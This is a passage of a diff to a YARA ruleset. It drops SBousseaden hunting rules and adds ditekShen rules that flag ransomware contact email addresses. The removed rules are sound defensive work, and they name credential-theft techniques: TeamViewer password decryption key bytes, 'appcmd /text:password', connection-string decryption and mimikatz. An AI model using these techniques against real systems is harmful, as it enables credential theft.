 		tags = ""
 
 	strings:
-		$a1 = "aspnet_regiis.exe" wide base64
-		$a2 = "connectionStrings" wide base64
-		$a3 = "web.config" wide base64
-		$a4 = "-pdf" wide base64
-		$b1 = "appcmd.exe" wide base64
-		$b2 = "/text:password" wide base64
+		$s1 = "my-contact-email@protonmail.com" ascii wide nocase
+		$s2 = "get-my-data@protonmail.com" ascii wide nocase
 
 	condition:
-		(3 of ($a*) or all of ($b*))
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Teamviewer_Registry_Pwddump : CVE_2019_18988 FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Vovalex
 {
 	meta:
-		description = "cve-2019-18988 - decryption of AES 128 bits encrypted TV config pwds saved in TV registry hive"
-		author = "SBousseaden"
-		id = "b2240cda-a37a-572e-b915-be39cbaabaaf"
-		date = "2020-07-23"
-		modified = "2020-12-28"
-		reference = "https://community.teamviewer.com/t5/Announcements/Specification-on-CVE-2019-18988/td-p/82264"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L266-L286"
-		license_url = "N/A"
-		logic_hash = "a0cb06e06904e98e963798fddc28e2a7cf8b737a50ff7d380e7f871c78ed9479"
-		score = 50
-		quality = 63
-		tags = "CVE-2019-18988, FILE"
+		description = "Detects files referencing identities associated with Vovalex ransomware"
+		author = "ditekShen"
+		id = "95e9ddce-8a19-59f1-baf4-bdac61c9c396"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L184-L192"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "0e8b426e55c1efaf59e5f255f1da9cdfbb509561d3f7ea5baa2815c3131866eb"
+		score = 75
+		quality = 73
+		tags = ""
 
 	strings:
-		$key1 = {0602000000a400005253413100040000}
-		$key2 = "\\x06\\x02\\x00\\x00\\x00\\xa4\\x00\\x00\\x52\\x53\\x41\\x31\\x00\\x04\\x00\\x00"
-		$iv1 = {0100010067244F436E6762F25EA8D704}
-		$iv2 = "\\x01\\x00\\x01\\x00\\x67\\x24\\x4F\\x43\\x6E\\x67\\x62\\xF2\\x5E\\xA8\\xD7\\x04"
-		$p1 = "OptionsPasswordAES" nocase
-		$p2 = "OptionsPasswordAES" nocase wide
-		$p3 = "ProxyPasswordAES" nocase
-		$p4 = "ProxyPasswordAES" nocase wide
-		$p5 = "PermanentPassword" nocase
-		$p6 = "PermanentPassword" nocase wide
+		$s1 = "vovanandlexus@cock.li" ascii wide nocase
 
 	condition:
-		any of ($key*) and any of ($iv*) and 2 of ($p*) and filesize <700KB
+		any of them
 }
-import "pe"
-
-rule SBOUSSEADEN_Shad0W_Beacon : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Alumnilocker
 {
 	meta:
-		description = "Shad0w beacon default suspicous strings"
-		author = "SBousseaden"
-		id = "e725172d-dd07-5027-ac85-86d366881856"
-		date = "2020-06-04"
-		modified = "2020-06-05"
-		reference = "https://github.com/bats3c/shad0w"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w.yara#L3-L15"
-		license_url = "N/A"
-		logic_hash = "9ea7cf72da0d93f607f58b61cc0fb5f3f114d4454101c69b08c59e6b61353550"
+		description = "Detects files referencing identities associated with AlumniLocker ransomware"
+		author = "ditekShen"
+		id = "64b6aff8-3758-5837-b814-e2505a9c12a3"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L194-L202"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "aeab9cb2b2da246e1863cd1102d901d322017d0b309e852d83e4f66f6e4bdd22"
 		score = 75
 		quality = 73
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$s1 = "LdrLoadD"
-		$s2 = {53 65 74 50 72 2A 65 73 73 4D}
-		$s3 = "Policy"
+		$s1 = "alumnilocker@protonmail.com" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*) and pe.sections[0].name=="XPU0" and pe.imports("winhttp.dll","WinHttpOpen")
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Susp_Vhd : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Doejocrypt
 {
 	meta:
-		description = "Virtual hard disk file with embedded PE"
-		author = "SBousseaden"
-		id = "14b082b2-c5cd-5f34-85e9-5987650eaacd"
-		date = "2020-07-13"
-		modified = "2020-07-13"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_susp_vhd.yara#L1-L12"
-		license_url = "N/A"
-		logic_hash = "4ba2e3f533942b27c1d235be4677afdac774b558429c414043a8e3a609123ad3"
-		score = 65
-		quality = 73
-		tags = "FILE"
+		description = "Detects files referencing identities associated with DoejoCrypt ransomware"
+		author = "ditekShen"
+		id = "bdf67fd3-8614-52f0-8804-9905f067a848"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L204-L213"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "b76996ef413d017fa571115f7331154c808fed0f1b1e0c97241cadbbef260a00"
+		score = 75
+		quality = 71
+		tags = ""
 
 	strings:
-		$hvhd = {636F6E6563746978}
-		$s1 = {4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00}
-		$s2 = "!This program cannot be run in DOS mode." base64
-		$s3 = "!This program cannot be run in DOS mode." xor
+		$s1 = "konedieyp@airmail.cc" ascii wide nocase
+		$s2 = "uenwonken@memail.com" ascii wide nocase
 
 	condition:
-		$hvhd at 0 and any of ($s*) and filesize <=10MB
+		any of them
 }
-rule SBOUSSEADEN_Shad0W_Beacon_16June : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Purge
 {
 	meta:
-		description = "Shad0w beacon compressed"
-		author = "SBousseaden"
-		id = "1229e84f-bf6e-5e87-9351-a48cd50397b0"
-		date = "2020-06-16"
-		modified = "2020-06-17"
-		reference = "https://github.com/bats3c/shad0w"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_beacon_16June.yara#L1-L13"
-		license_url = "N/A"
-		logic_hash = "c313e995d6eaae6d2ee63964f6fc94964065af7a61d7f304280d914e6f0dd548"
+		description = "Detects files referencing identities associated with Purge ransomware"
+		author = "ditekShen"
+		id = "2a0f2c69-b179-5e48-9db6-be25e329f72b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L215-L224"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "49f3f5a88212d4bed1f0237a4437fb537e84cd6dd26c5fe224250f3b6e39d384"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 71
+		tags = ""
 
 	strings:
-		$s1 = {F2 AE ?? ?? ?? FF 15 ?? ?? 00 00 48 09 C0 74 09}
-		$s2 = {33 2E 39 36 00 ?? ?? ?? 21 0D 24 0E 0A}
-		$s3 = "VirtualProtect"
-		$s4 = "GetProcAddress"
+		$s1 = "rscl@dr.com" ascii wide nocase
+		$s2 = "rscl@usa.com" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*)
+		any of them
 }
-rule SBOUSSEADEN_APT_Solarwind_Backdoor_Encoded_Strings : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Zeoticus
 {
 	meta:
-		description = "This rule is looking for some key encoded strings of the SUNBURST backdoor"
-		author = "SBousseaden"
-		id = "04a63bd6-9737-568f-a20e-c573b915cbd4"
-		date = "2020-12-14"
-		modified = "2020-12-18"
-		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/apt_solarwinds_backdoor_encoded_strings.yara#L1-L28"
-		license_url = "N/A"
-		hash = "846e27a652a5e1bfbd0ddd38a16dc865"
-		logic_hash = "8808cca8d89f089a8bca5ef62c1764061c8210ba5f9813c886d6ed9f79579ba6"
+		description = "Detects files referencing identities associated with Zeoticus ransomware"
+		author = "ditekShen"
+		id = "4d5f0d6d-f792-563d-9a9b-1986f5af8743"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L226-L235"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "7a83b15b0c8e81f67d11f8b5d9a43ba4e1e3a0f6741ddd0daafe4e742dd91cd8"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		sha2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
+		quality = 71
+		tags = ""
 
 	strings:
-		$sw = "SolarWinds"
-		$priv1 = "C04NScxO9S/PSy0qzsgsCCjKLMvMSU1PBQA=" wide
-		$priv2 = "C04NzigtSckvzwsoyizLzElNTwUA" wide
-		$priv3 = "C04NSi0uyS9KDSjKLMvMSU1PBQA=" wide
-		$disc1 = "C0gsSs0rCSjKT04tLvZ0AQA=" wide
-		$disc2 = "c0zJzczLLC4pSizJLwIA" wide
-		$disc3 = "c/ELdsnPTczMCy5NS8usCE5NLErO8C9KSS0CAA==" wide
-		$wmi1 = "C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==" wide
-		$wmi2 = "C07NSU0uUdBScCvKz1UIz8wzNooPKMpPTi0uBgA=" wide
-		$wmi3 = "C07NSU0uUdBScCvKz1UIz8wzNooPLU4tckxOzi/NKwEA" wide
-		$wmi4 = "C07NSU0uUdBScCvKz1UIz8wzNor3Sy0pzy/KdkxJLChJLXLOz0vLTC8tSizJzM9TKM9ILUpV8AxwzUtMyklNsS0pKk0FAA=="
-		$key1 = "C44MDnH1jXEuLSpKzStxzs8rKcrPCU4tiSlOLSrLTE4tBgA=" wide
-		$key2 = "Cy5JLCoBAA==" wide
-		$pat1 = "i6420DGtjVWoNqzlAgA=" wide
-		$pat2 = "i6420DGtjVWoNtTRNTSrVag2quWsNgYKKVSb1MZUm9ZyAQA=" wide
-		$pat3 = "qzaoVag2rFXwCAkJ0K82quUCAA==" wide
-		$pat4 = {9D 2A 9A F3 27 D6 F8 EF}
+		$s1 = "anobtanium@tutanota.com" ascii wide nocase
+		$s2 = "anobtanium@cock.li" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and $sw and (2 of ($pat*) or 2 of ($priv*) or all of ($disc*) or 2 of ($wmi*) or all of ($key*))
+		any of them
 }
-import "pe"
-
-rule SBOUSSEADEN_Susp_Winsvc_Upx : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Jobcryptor
 {
 	meta:
-		description = "broad hunt for any PE exporting ServiceMain API and upx packed"
-		author = "SBousseaden"
-		id = "883691fe-3858-5177-97ca-122ff2ec54af"
-		date = "2019-01-28"
-		modified = "2020-06-05"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/susp_winsvc_upx.yara#L3-L13"
-		license_url = "N/A"
-		logic_hash = "85b1932eaab4e559f0805aa76ad9b58553708391b3ac894a8e4f1cf34470dcb7"
-		score = 65
-		quality = 75
-		tags = "FILE"
+		description = "Detects files referencing identities associated with JobCryptor ransomware"
+		author = "ditekShen"
+		id = "406f5638-883b-57a4-a2ba-532d2bd3ae83"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L237-L247"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "c8c5dcc0d7484a3ac6e702cca8bd0907f9e4f4aea5e99c4c3f988389e0d803a7"
+		score = 75
+		quality = 69
+		tags = ""
 
 	strings:
-		$upx1 = {55505830000000}
-		$upx2 = {55505831000000}
-		$upx_sig = "UPX!"
+		$s1 = "olaggoune235@protonmail.ch" ascii wide nocase
+		$s2 = "ouardia11@tutanota.com" ascii wide nocase
+		$s3 = "laggouneo11@gmail.com" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and $upx1 in (0..1024) and $upx2 in (0..1024) and $upx_sig in (0..1024) and pe.exports("ServiceMain")
+		any of them
 }
-import "pe"
-
-rule SBOUSSEADEN_Susp_Msoffice_Addins_Wxll : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Cuba
 {
 	meta:
-		description = "hunt for suspicious MS Office Addins with code injection capabilities"
-		author = "SBousseaden"
-		id = "39d3b2af-f848-51c0-a13b-13c0fe3a79dd"
-		date = "2020-11-10"
-		modified = "2023-03-27"
-		reference = "https://twitter.com/JohnLaTwC/status/1315287078855352326"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_susp_msoffice_addins_wxll.yara#L3-L29"
-		license_url = "N/A"
-		logic_hash = "130a0292b16e934311597d4f91456e6a605477e306a7b1d8171cc4e13794db31"
-		score = 65
-		quality = 75
-		tags = "FILE"
+		description = "Detects files referencing identities associated with JobCryptor ransomware"
+		author = "ditekShen"
+		id = "5eea027d-2164-54f2-a2bf-74b5d532e610"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L249-L261"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "b734199c8593c338c803518b2729e9d9ceaaed5d21585a3d299885433d8f796e"
+		score = 75
+		quality = 65
+		tags = ""
 
 	strings:
-		$inj1 = "WriteProcessMemory"
-		$inj2 = "NtWriteVirtualMemory"
-		$inj3 = "RtlMoveMemory"
-		$inj4 = "VirtualAllocEx"
-		$inj5 = "NtAllocateVirtualMemory"
-		$inj6 = "NtUnmapViewOfSection"
-		$inj7 = "VirtualProtect"
-		$inj8 = "NtProtectVirtualMemory"
-		$inj9 = "SetThreadContext"
-		$inj10 = "NtSetContextThread"
-		$inj11 = "ResumeThread"
-		$inj12 = "NtResumeThread"
-		$inj13 = "QueueUserAPC"
-		$inj14 = "NtQueueApcThread"
-		$inj15 = "NtQueueApcThreadEx"
-		$inj16 = "CreateRemoteThread"
-		$inj17 = "NtCreateThreadEx"
-		$inj18 = "RtlCreateUserThread"
+		$s1 = "helpadmin2@protonmail.com" ascii wide nocase
+		$s2 = "helpadmin2@cock.li" ascii wide nocase
+		$s3 = "mfra@cock.li" ascii wide nocase
+		$s4 = "admin@cuba-supp.com" ascii wide nocase
+		$s5 = "cuba_support@exploit.im" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and (pe.exports("wdAutoOpen") or pe.exports("xlAutoOpen")) and 3 of ($inj*)
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Procinj_Instrumentationcallback : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Hello
 {
 	meta:
-		description = "hunt for possible injection with Instrumentation Callback PE"
-		author = "SBousseaden"
-		id = "f450bf71-d848-540e-b700-c046662f1cbc"
-		date = "2020-07-25"
-		modified = "2020-07-25"
-		reference = "https://movaxbx.ru/2020/07/24/weaponizing-mapping-injection-with-instrumentation-callback-for-stealthier-process-injection/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_procinj_instrcallback.yara#L1-L21"
-		license_url = "N/A"
-		logic_hash = "b33dae550bae9508b9fd5b2d6cabf1d4d928792d3988af23cdba34d9d3d03162"
-		score = 50
-		quality = 71
-		tags = "FILE"
+		description = "Detects files referencing identities associated with Hello / WickrMe ransomware"
+		author = "ditekShen"
+		id = "02bbaa61-7ea3-5edd-8b38-27ef1f6ee1e2"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L263-L277"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "dfafb0323a50891c03c4b706d4f3a6a511cecdee2448c1f554b416ba1e3d3df9"
+		score = 75
+		quality = 61
+		tags = ""
 
 	strings:
-		$mv1 = "MapViewOfFile3" xor
-		$mv2 = "MapViewOfFile3" wide xor
-		$mv3 = "NtMapViewOfSectionEx" xor
-		$mv4 = "NtMapViewOfSectionEx" wide xor
-		$mv5 = {(49 89 CA|4C 8B D1) B8 0F 01 00 00 0F 05 C3}
-		$spi1 = "NtSetInformationProcess" xor
-		$spi2 = "NtSetInformationProcess" wide xor
-		$spi3 = {(49 89 CA|4C 8B D1) B8 1C 00 00 00 0F 05 C3}
-		$picb = {BA 28 00 00 00}
-		$ss1 = {41 52 50 53 55 57 56 54 41 54 41 55 41 56 41 57}
-		$ss2 = {41 5F 41 5E 41 5D 41 5C 5C 5E 5F 5D 5B 58 41 5A}
-		$ss3 = {49 89 CA 0F 05 C3}
+		$s1 = "emming@tutanota.com" ascii wide nocase
+		$s2 = "ampbel@protonmail.com" ascii wide nocase
+		$s3 = "asauribe@tutanota.com" ascii wide nocase
+		$s4 = "candietodd@tutanota.com" ascii wide nocase
+		$s5 = "kellyreiff@tutanota.com" ascii wide nocase
+		$s6 = "kevindeloach@protonmail.com" ascii wide nocase
+		$s7 = "sheilabeasley@tutanota.com" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and $picb and 1 of ($mv*) and 1 of ($spi*) and 1 of ($ss*)
+		any of them
 }
-rule SBOUSSEADEN_Mimikatz_Kiwikey
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Unlockyourfiles
 {
 	meta:
-		description = "hunt for default mimikatz kiwikey"
-		author = "SBousseaden"
-		id = "3141e679-6e07-5017-9675-4557fb876ebc"
-		date = "2020-08-08"
-		modified = "2020-08-09"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/kiwikey.yara#L1-L10"
-		license_url = "N/A"
-		logic_hash = "03745aed838dafad2fc6e190f181141bda31c212af56edb8ba665b86671f8bee"
+		description = "Detects files referencing identities associated with UnlockYourFiles ransomware"
+		author = "ditekShen"
+		id = "fdc3ec49-66cc-5a0b-87a6-3660dd6f3b72"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L279-L288"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a33dae7f08eb0c2415fbfdadf2cbbf90c68bc802352277422c6d0a2dbd62cd82"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = ""
 
 	strings:
-		$A = {60 BA 4F CA C7 44 24 ?? DC 46 6C 7A C7 44 24 ?? 03 3C 17 81 C7 44 24 ?? 94 C0 3D F6}
-		$B = {48 B8 ?? ?? ?? ?? ?? ?? ?? ?? FF D0}
+		$s1 = "4lok3r@tutanota.com" ascii wide nocase
+		$s2 = "4lok3r@protonmail.com" ascii wide nocase
 
 	condition:
-		$A and #B>10
+		any of them
 }
-rule SBOUSSEADEN_Infinityhook : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Darkside
 {
 	meta:
-		description = "Infinityhook is a legit research PoC to hook NT Syscalls bypassing PatchGuard"
-		author = "SBousseaden"
-		id = "82f4eef2-fca7-58b1-a85c-3c237f523740"
-		date = "2020-09-07"
-		modified = "2020-07-10"
-		reference = "https://github.com/everdox/InfinityHook"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/infinityhook.yara#L1-L17"
-		license_url = "N/A"
-		logic_hash = "c621ce3be8049de7584af73ca4472df5561d3c4ac8b458937db2ad68fdcbe2d8"
+		description = "Detects files referencing identities associated with DarkSide ransomware"
+		author = "ditekShen"
+		id = "7b29b9b9-4657-551e-b770-880a2278ef60"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L290-L299"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "3c6cdb15cad19f1db38c0fe03ecb24d5cd4861a699aa2bee0f99b8dddacc8bd1"
 		score = 75
 		quality = 73
-		tags = "FILE"
+		tags = ""
+		hash1 = "bafa2efff234303166d663f967037dae43701e7d63d914efc8c894b3e5be9408"
 
 	strings:
-		$EtwpDebuggerPattern = {00 2C 08 04 38 0C 00}
-		$SMV = {00 00 76 66 81 3A 02 18 50 00 75 0E 48 83 EA 08 B8 33 0F 00}
-		$KVASCODE = {4B 56 41 53 43 4F 44 45}
-		$CKL = "Circular Kernel Context Logger" wide nocase
+		$s1 = "breathcojunktab1987@yahoo.com" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		any of them
 }
-import "pe"
-
-rule SBOUSSEADEN_Maliciousdllgenerator : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Spyro
 {
 	meta:
-		description = "MaliciousDLLGenerator default decoder and export name"
-		author = "SBousseaden"
-		id = "a5f4d0b2-ef40-5e69-935e-208464944487"
-		date = "2020-06-07"
-		modified = "2020-06-08"
-		reference = "https://github.com/Mr-Un1k0d3r/MaliciousDLLGenerator"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/MaliciousDLLGenerator.yara#L3-L12"
-		license_url = "N/A"
-		logic_hash = "70976f4a7043f52277a1d436c1725b2583383880d7158c74c4d93f3e603708c7"
+		description = "Detects files referencing identities associated with Spyro ransomware"
+		author = "ditekShen"
+		id = "9a42a9fd-dfaf-5719-acae-e7c3b92ecdc9"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L301-L310"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "b12b24b7b1b9800d249fd322532d957ddfc020c495ca89414d8d7e9fa7d58eb7"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 71
+		tags = ""
 
 	strings:
-		$decoder = {E8 00 00 00 00 5B 48 31 C0 48 89 C1 B1 80 48 83 C3 11 48 F7 14 CB E2 FA 48 83 C3 08 53 C3}
+		$s1 = "blackspyro@tutanota.com" ascii wide nocase
+		$s2 = "blackspyro@mailfence.com" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and $decoder and pe.exports("Init") and pe.number_of_exports==2
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Slub_Backdoor : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Ryzerlo
 {
 	meta:
-		description = "No description has been set in the source file - SBousseaden"
-		author = "SBousseaden"
-		id = "c15d5f14-d17f-528b-bf85-e06a5e23518c"
-		date = "2020-10-22"
-		modified = "2020-10-22"
-		reference = "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/APT_SLUB_Backdoor.yara#L1-L22"
-		license_url = "N/A"
-		hash = "93bb93d87cedb0a99976c18a37d65f816dc904942a0fb39cc177d49372ed54e5"
-		hash = "59e4510b7b15011d67eb2f80484589f7211e67756906a87ce466a7bb68f2095b"
-		hash = "c7788c015244e12e4c8cc69a2b1344d589284c84102c2f1871bbb4f4c32c2936"
-		hash = "6678a5964db74d477b39bd0a8c18adf02844bed8b112c7bcca6984032918bdfb"
-		logic_hash = "aa17dcfde1e2227ff04bda708d4c40c1e1f07b404d2c43582632d83c98d65e83"
-		score = 50
+		description = "Detects files referencing identities associated with Ryzerlo / HiddenTear / RSJON ransomware"
+		author = "ditekShen"
+		id = "1e8b79dc-4a81-5126-a7a3-ad7a2e8f62bf"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L312-L320"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "2d925cac74411c3e408d674e27a27ae029d39977026a79df8f90edae345a31db"
+		score = 75
 		quality = 73
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$s1 = "file_infos" ascii wide
-		$s2 = "%ws\\%u_cmd_out.tmp" ascii wide
-		$s3 = "%ws\\%u_cmd_out.zip" ascii wide
-		$s4 = "[was netstat]" ascii wide
-		$s5 = {63 3A 5C 77 6F 72 6B 2E 76 63 70 6B 67 5C 69 6E 73 74 61 6C 6C 65 64 5C 78 36 34 2D 77 69 6E 64 6F 77 73 2D 73 74 61 74 69 63 5C}
-		$s6 = "LoadFileToMemory" ascii wide
-		$s7 = "setStartupExec" ascii wide
-		$s8 = "%04u-%02u-%02u %02u:%02u:%02u" ascii wide
-		$s9 = "goto del_one" ascii wide
-		$s10 = "goto del_two" ascii wide
+		$s1 = "darkjon@protonmail.com" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		any of them
 }
-rule SBOUSSEADEN_APT_Xdsspy_Xdupload : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_PYSA
 {
 	meta:
-		description = "No description has been set in the source file - SBousseaden"
-		author = "SBousseaden"
-		id = "ae38d017-6420-596c-af29-62f15cfe56b8"
-		date = "2020-05-10"
-		modified = "2020-10-05"
-		reference = "https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/apt_xdspy_xdupload.yara#L1-L11"
-		license_url = "N/A"
-		logic_hash = "648ea81d1b44d8514439683cf2f86a8027f9e1eb64abf76d42347fc2ce9c4e68"
+		description = "Detects files referencing identities associated with PYSA / Mespinoza ransomware"
+		author = "ditekShen"
+		id = "b26d472b-c94e-576d-b168-6f273bb8fca5"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L322-L340"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "cf0fbc0160f1d21efdb4a6935ae0d2206107042e3d020722f50d2c302aff246c"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 55
+		tags = ""
 
 	strings:
-		$s1 = "cmd.exe /u /c cd /d \"%s\" & dir /a /-c" wide
-		$s2 = "commandC_dll.dll"
-		$s3 = "cmd.exe /u /c del" wide
+		$s1 = "luebegg8024@onionmail.org" ascii wide nocase
+		$s2 = "mayakinggw3732@onionmail.org" ascii wide nocase
+		$s3 = "lauriabornhat7722@protonmail.com" ascii wide nocase
+		$s4 = "DeborahTrask@onionmail.org" ascii wide nocase
+		$s5 = "AlisonRobles@onionmail.org" ascii wide nocase
+		$s6 = "NatanSchultz67@protonmail.com" ascii wide nocase
+		$s7 = "jonikemppi@onionmail.org" ascii wide nocase
+		$s8 = "lanerosalie49003@onionmail.org" ascii wide nocase
+		$s9 = "bernalmargaret645@onionmail.org" ascii wide nocase
+		$s10 = "carlhubbard2021@protonmail.com" ascii wide nocase
+		$u1 = "http://pysa2bitc" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and 2 of ($s*)
+		any of them
